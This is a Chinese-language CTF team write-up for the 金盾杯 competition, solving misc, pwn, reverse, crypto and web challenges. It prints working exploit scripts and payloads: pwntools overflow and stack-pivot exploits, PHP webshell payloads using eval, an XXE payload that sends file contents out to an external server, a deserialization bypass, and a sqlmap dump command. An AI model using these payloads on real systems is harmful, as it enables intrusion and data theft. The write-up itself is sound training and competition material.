金盾杯团队wp

又是被佬们带飞的一次。

Misc

Misc-qianda0_Sudoku

这道题很像西湖论剑的数独题，但是补全后却不知道该怎么办了

然后相到了二进制，把有数字的补位1，没有的补位0

最后可以得到

011100110111010101100100001100000110101101110101010111110110011001110101010011100

然后转asciall

得到flag{sud0ku_fuN}；

Misc-盗梦空间

下载后得到一串密码

PB5CMZCPGU7GSJKNJRDUQYJFMZJE24BSIR3TGI3TJ55FGQ2GERJGIWDAJBHTK2BVIFIDKNZ2LJKFKND2L5QX42B6HJJFA7LLLBHUE4S5MZTDYTRTLFAHUVBMFN5SWQLLLZRWQ6SHO5CTMXRYKV5FMLSCLEUWSWBQJI2VGOR4JE5UYUKQPRXTWJLUJB3TWVKZFM3F6WTRJYRFC432KVEC4ILYKRTTCQTFKBWTAYSNN5XTE2TKMBSHWNSFNQQVURCZO55G6OZUFNKSIOJRGA2EYYKOMJMXK3TYIB4UWZLRJ54GUTLWFJWEWTLKMR6TKJSHOUYWMKS7IUUWMMDXL5QUC2KJEQWE4R2VFJCQ====

先进行base32解码得到

xz&dO5>i%MLGHa%fRMp2Dw3#sOzSCF$RdX`HO5h5AP57:ZTU4z_a~h>:RP}kXOBr]ff<N3Y@zT,+{+Ak^chzGwE6^8UzV.BY)iX0J5S:<I;LQP|o;%tHw;UY+6_ZqN"QszUH.!xTg1BePm0bMoo2jj`d{6El!ZDYwzo;4+U$9104LaNbYunx@yKeqOxjMv*lKMjd}5&Gu1f*_E)f0w_aAiI$,NGU*E

然后base91解密得到

R2REQ2VHZDQ2ZUdkNDNkR2MrX2JHZDQ2ZUdjKz9YR2Q0NmVHZDQzWkdkNDNoR2NffGJHZDQzZkdkNDZlR2Q0M2hHYytfWUdkNDNoR2Q0M2RHYys/WUdkNDNkR2REOWZHZDQ2ZkdjK19hR2MrP2ZHZERDY0dkNDNmR2Q0M1pHZDQ2Y0dkNDNl

再进行base64得到

GdDCeGd46eGd43dGc+_bGd46eGc+?XGd46eGd43ZGd43hGc_|bGd43fGd46eGd43hGc+_YGd43hGd43dGc+?YGd43dGdD9fGd46fGc+_aGc+?fGdDCcGd43fGd43ZGd46cGd43e

再进行base85

7D6E654D6E416E616954676E694A69654265766F4C497B67616C66

再进行base16得到

}neMnAnaiTgniJieBevoLI{galf

最后队字符串进行逆序

得到flag{ILoveBeiJingTianAnMen}

Misc-数据泄露01-账号泄露追踪

最初一直再github搜red banana 找了很长时间都没找到

然后再提示里面看到这句话

然后搜hongxiangjiao

发现就只有一个

查看这个项目所有文件，在里面搜已经给的用户名

在scrubbers.py这里搜到了

得到本题目flag{GBUfty0vMqlrGOdE}

Misc-数据泄露02-泄露的密码

在项目里面没有找到密码

然后这里说了可能在博客园，和csdn

然后最先去搜项目作者的博客

在博客园找到了作者的博客

里面只有一篇文章

可以得到密码

flag{redbanana2022sss}

Misc-数据泄露03-泄露的密钥

在第二道题目中有一个参考链接

访问时一篇知乎文章

然后访问作者主页

里面有很多关于hongxiangjiao的文章

访问文章，在第一篇文章里面可以得到

flag{51d0a99c-752e-11ed-b5a7-44af28a75237}

Pwn

Pwn-login

保护策略

虽然开了canary但在调试时并没有发现canaryfig:

攻击思路

主程序

这道题有后门函数，再加上没开pie canary，利用leave指令打一个栈迁移到bss

exp

from pwn import*
import base64
p=remote('59.110.213.14', 53598)
context.log_level='debug'

p.recvuntil('Authenticate : ')

sys_addr=0x08049284
input_addr=0x0811EB40
payload=b'aaaa'+p32(sys_addr)+p32(input_addr)
p.sendline(base64.b64encode(payload))

p.interactive()

Pwn-wtf

保护

漏洞利用

主要有一个强转换来执行溢出

还有一个重要的点就是这个题没有设置缓冲区，需要你把全缓冲消耗完，在结合py文件所需的条件

exp

from pwn import *
p=remote('59.110.213.14', 59123)
context.log_level='debug'
p.recvuntil('payload please : ')
poc=b'-1'+b'\n'*4094+b'a'*0x38+p64(0x4005F4)+b'\n'
p.sendline(poc.encode("hex"))
print(p.recvall())

Reverse

Reverse-tea

Xxtea加密

IMG_256

密钥

脚本

  1. #include <stdio.h>  
  2. #include <stdint.h>  
  3. #define DELTA 0x9e3779b9  
  4. #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  
  5. void btea(uint32_t *v, int n, uint32_t const key[4])  
  6. {  
  7.     uint32_t y, z, sum;  
  8.     unsigned p, rounds, e;  
  9.         rounds = 6 + 52 / n;  
  10.         sum = rounds*DELTA;  
  11.         y = v[0];  
  12.         do  
  13.         {  
  14.             e = (sum >> 2) & 3;  
  15.             for (p = n - 1; p>0; p--)  
  16.             {  
  17.                 z = v[p - 1];  
  18.                 y = v[p] -= MX;  
  19.             }  
  20.             z = v[n - 1];  
  21.             y = v[0] -= MX;  
  22.             sum -= DELTA;  
  23.         } while (--rounds);  
  24.     }  
  25.   
  26.   
  27. int main()  
  28. {  
  29.     uint32_t v[9]=   
  30.     {   
  31.         0x6456DD95, 0x2A41FD67,  0xAFE574A5,   
  32.         0x4BFA8D72, 0xE2BF316F,  0x166B34BD,  
  33.         0x6232283A,0x4A1A8794,  0xD591779B  
  34.     };  
  35.     uint32_t const k[4]=   
  36.     {   
  37.         0x5571CB4E, 0xC38A9D2F, 0x1D835B62,0x93C3DC19  
  38.     };  
  39.       
  40.     int n = 9;  
  41.     btea(v, n, k);  
  42.     for (int i = 0; i < n; i++)  
  43.     {  
  44.         for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++)  
  45.         {  
  46.             printf("%c", (v[i] >> (j * 8)) & 0xFF);  
  47.         }  
  48.     }  
  49.     return 0;  
  50. }  

flag{3430DF69-C220-40F9-9667-2B8C4A2FE6E9}

Crypto

Crypto-simpleR

这道题只给了e和密文，并且e很小只等于2，相当于把明文m平方，利用大数库开方

脚本

  1. import gmpy2  
  2. import libnum  
  3.   
  4. c=3136716033731914452763044128945241240021620048803150767745968848345189851269112855865110275244336447973330360214689062351028386721896599362080560109450218446175674155425523734453425305156053870568600329  
  5. m = gmpy2.isqrt(c)  
  6. m = int(m)  
  7. m_text = libnum.n2s(m)  
  8. print(m_text)  

 

flag{efd90a18-7601-11ed-ac93-44af28a75237}

Crypto-RRSSAA

题目给了p、q，e1，e2，c1，c2，并且e1=2333，e2=23333，e1和e2互质

一眼共模

脚本

  1. #coding:utf-8  
  2. import gmpy2  
  3. import libnum  
  4.   
  5. p=123458435421261543472541524199731235574048053128601592828113156858256897602409067025674231465244054181972626266583815939142097971979228583114373452753144521115603696730578184251357134599421315099599143482519027549135311948601114584919768962463801005587816375776795616009077822359851656097169247116759791793687  
  6. q=97276963771653114294115524925680580949385827322024790734418230303283861043696849155355518555652095559285163994241670550744000225618126658988929239870027266570376465899405972982196485923500560008192041570421590766719044249315069438249987024660117501456707638758202318116109860915440658403715058758393977149729  
  7. n=p*q  
  8. e1=2333  
  9. c1=3091063916228464455521357922299851945733179824012337598325935431151534388234889582934719097957211574031506425780821664489121712504278835046257494105641946435467664631146730786295351188439182841680768531937382787335943965667714937822280848763425350089235645289384375623655179569897238696408868150422651859781815376696756981788347283996647604511187607188051598692339333337644956875630361418916795600637518633591481197783209020148212167599700531242494401774503456200889355439781332887736926823527200546226966803759767490748143939212274369822333951327997518975975960530675198444178464821237247544413301735105551687502988  
  10. n2=10509135007927020910961570498020654777820601579825669027410027026173076573380693204454238919762243178647774720169342528691085983225219960236799370268896666867164869238677749575679762611540687182614629847614275763451130215062534086871119259415866636857654106010518677919485438729877453549868724935457349692430637646827845074169704597756894678350214029352130966923159025112991395150214022844221949818486992653054085916326074567355928744181958934887632087019273037034539054980148783728604561167417571308543568511557184742388987903995431328908643666134429145944816840592528868078022503367301892068877343146684216682292031  
  11. e2=23333  
  12. c2=3020828772115226887000015133333821282592051548686903232559679837758040530392014545308146746971372113818852623844807332306519066119345705458457237902473211958279079988876840270162881686132679217898982958235064386584289972304614458185165683014776410738885399792032602501638437880558924737680288329872135075375340246371405482850885777367009879733890398886462506917356919767329145462495699851367240387357485822078838863882442289942481376842591016730244281710044592948116573144325447524357995553176271890557769659239135878101020400056503293673886968120697821156927485992635172356908737486318910095798432613528160497925715  
  13.   
  14.   
  15. #共模攻击  
  16. #共模攻击函数  
  17. def rsa_gong_N_def(e1,e2,c1,c2,n):  
  18.     e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)  
  19.     print("e1,e2:",e1,e2)  
  20.     print(gmpy2.gcd(e1,e2))  
  21.     s = gmpy2.gcdext(e1, e2)  
  22.     print(s)  
  23.     s1 = s[1]  
  24.     s2 = s[2]  
  25.     if s1 < 0:  
  26.         s1 = - s1  
  27.         c1 = gmpy2.invert(c1, n)  
  28.     elif s2 < 0:  
  29.         s2 = - s2  
  30.         c2 = gmpy2.invert(c2, n)  
  31.     m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n  
  32.     return int(m)  
  33.   
  34. m = rsa_gong_N_def(e1,e2,c1,c2,n)  
  35. print(m)  
  36. print(libnum.n2s(int(m)).decode())  

 

flag{m-co-pr1m3}

Crypt-小蔡一碟

附件给了p，q，e，c，直接套脚本：

 import gmpy2
 import binascii
 ​
 e = 19999
 c = 15176702963665501922403999221895690215282504333559191936777611319802899006788248557279808041449600021838150559750953924442905812928090845724972302802437464578850548068341807388913597120410841772162320682183999897958037105171055839318049584110106368746019307718322196559113348222485399508199250407930454163630320204931310511881428526650112302088935473691025195368688328619506405195638348814876023324965555774105055157166629768444387302211760448217666053342945412276047036106026882600555168611384975424201854134312678053294600373283558738680924405596407956073538019064806588050349192904553467435863806385634189342027395
 q = 172887845783422002789082420254687566789308973977854220003084208506942637236520298084569310184947609392615644191634749946917611949170216103380692838274627779684269566710195695515000492922000964163572308396664983937642827715821977706257150587395323556335081542987902463903436949141288429937432819003811354533477
 p = 159303842369547814925693476555868814571858842104258697105149515713993443203825659998652654127374510196025599003730143012113707484839253123496857732128701609968752699400092431858926716649428960535283324598902169712222454699617671683675932795780343545970625533166831907970102480122242685830820463772025494712199
 n = p*q
 phi = (p - 1) * (q - 1)
 d = gmpy2.invert(e, phi)
 m = gmpy2.powmod(c, d, n)
 ​
 print(binascii.unhexlify(hex(m)[2:]))

得出flag：

 flag{TheFIFAWorldCupQatar2022}

Crypto-rand

考察伪随机数，附件给了时间戳，再次异或得到flag，编写脚本：

 import random
 import time
 ​
 random.seed(1670639450.0)
 for i in range(3):
     rand = random.randint(0,10**30)
     a = rand^881235169941718345882433419366
     print(a)
 flag = 0
 en = flag ^ rand
 dt = "2022-12-10 10:30:50"
 # print(0^rand)
 timeArray = time.strptime(dt, "%Y-%m-%d %H:%M:%S")
 timestamp = time.mktime(timeArray)

第一行数字就是flag：

 flag{659480394773869512498389750739}

Web

Web-ezPHP

index.php.bak源码泄露

有长度限制，黑名单，以及函数禁用，没有过滤include，用payload写入文件

 GET:?f[name=/var/www/html/a.php
 POST:f_content=<?=include$_POST[1];

访问写入的文件，用data伪协议写入命令，popen没有被过滤，使用popen读取flag

 1=data://text/plain,<?php popen('cat /usr/f*>aa','r');?>

访问aa文件，得到flag：

 flag{9edfcb1c-da98-429e-ac24-d67cfc13f3db}

Web-ezphp2

题目中给了源码，源码中有长度限制以及敏感字符过滤，写入phpinfo()查看函数禁用：

 GET:?name[nnnn=a.php
 POST:file_c=<?=phpinfo();

查看一番没有禁用eval，直接写马，注意长度限制，短标签绕过黑名单：

 GET:?name[nnnn=a.php
 POST:file_c=<?=eval($_GET[1]);

懒得测还有什么没有被过滤，直接构造木马连接蚁剑，payload为：

 /Upld0d/a.php?1=eval($_POST[1]);

连接蚁剑在根目录下找到flag。flag为

 flag{ddbc0dca-487b-4b14-a8c9-7eb6e0f4bd9b}

Web-有来无回

题目描述访问xxe.php，访问文件给了提示，需要盲注，flag文件在/tmp/flag.txt里，使用伪协议读取flag，在vps上创建dtd文件，同时开启监听，将flag外带到我们的公网服务器上，payload为：

 <!DOCTYPE test [
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/flag.txt">
 <!ENTITY % aaa SYSTEM "http://xilitter.top/test.dtd">
 %aaa;
 ] >

在vps上创建test.dtd，内容为：

 <!ENTITY % dtd "<!ENTITY &#x25; xxe SYSTEM 'http://1.116.160.155:2399/%file;'> ">
 %dtd;
 %xxe;

发包，同时开启监听，最后在数据包头带出base编码，解码得到flag。flag为：

 flag{tqxh8rvijg4jibuxuzfaarvq8esu24uz}

Web-反败为胜

一段加密字符串，源代码给了加密方式和密钥，RC4和0626，在线网站解码得到题目源代码。代码要求ser_code == "FLAG"，考察php反序列化，需绕过wake_up函数，exp为;

 <?php
 class ouo{
     private $ser_code = "ser";
     public function __construct(){
         $this->ser_code = "FLAG";
    }
 }
 $a = new ouo();
 ​
 $str = serialize($a);
 $str2 = str_replace(':1:', ':2:',$str);
 echo urlencode($str2);

生成的序列化串为：

 O%3A3%3A%22ouo%22%3A2%3A%7Bs%3A13%3A%22%00ouo%00ser_code%22%3Bs%3A4%3A%22FLAG%22%3B%7D

访问ser.php添加cookie上传，payload为;

 cookie:SER=O%3A3%3A%22ouo%22%3A2%3A%7Bs%3A13%3A%22%00ouo%00ser_code%22%3Bs%3A4%3A%22FLAG%22%3B%7D

发包得到flag:

 flag{30815ff8-76c2-11ed-aec4-44af28a75237}

Web-SQL

算非预期，直接脚本一把索，提交id发现几乎所有的敏感字符都被过滤了。或者说转义了，用sqlmap中的一个脚本chardoubleencode.py，它可以对我们提交的payload二次编码，尝试能否绕过成功，发现真的可以爆出数据库，直接爆表，payload为：

 python sqlmap.py -u http://59.110.213.14:43502/?id=1 --tamper=chardoubleencode.py --dbs -D sqlll --dump

直接跑出flag，flag为：

 flag{e4cf1b90-75d1-11ed-9b3b-44af28a75237}

Web-skip

国外的一道原题，链接为：SECCON CTF 2022 Quals Writeup - Satoooonの物置 (hatenablog.com)

提交一千以上的参数可以拒绝nginx的包含，直接用链接中的payload：

 import requests
 r = requests.get("http://59.110.213.14:53919/?" + "proxy=1&" * 1000).text
 print(r)

运行成功得到flag：

 flag{abe2ff50ebbc889f8b341fa53fd792e3}

posted @ 2022-12-22 13:31  GTL_JU  阅读(161)  评论(0)  编辑  收藏  举报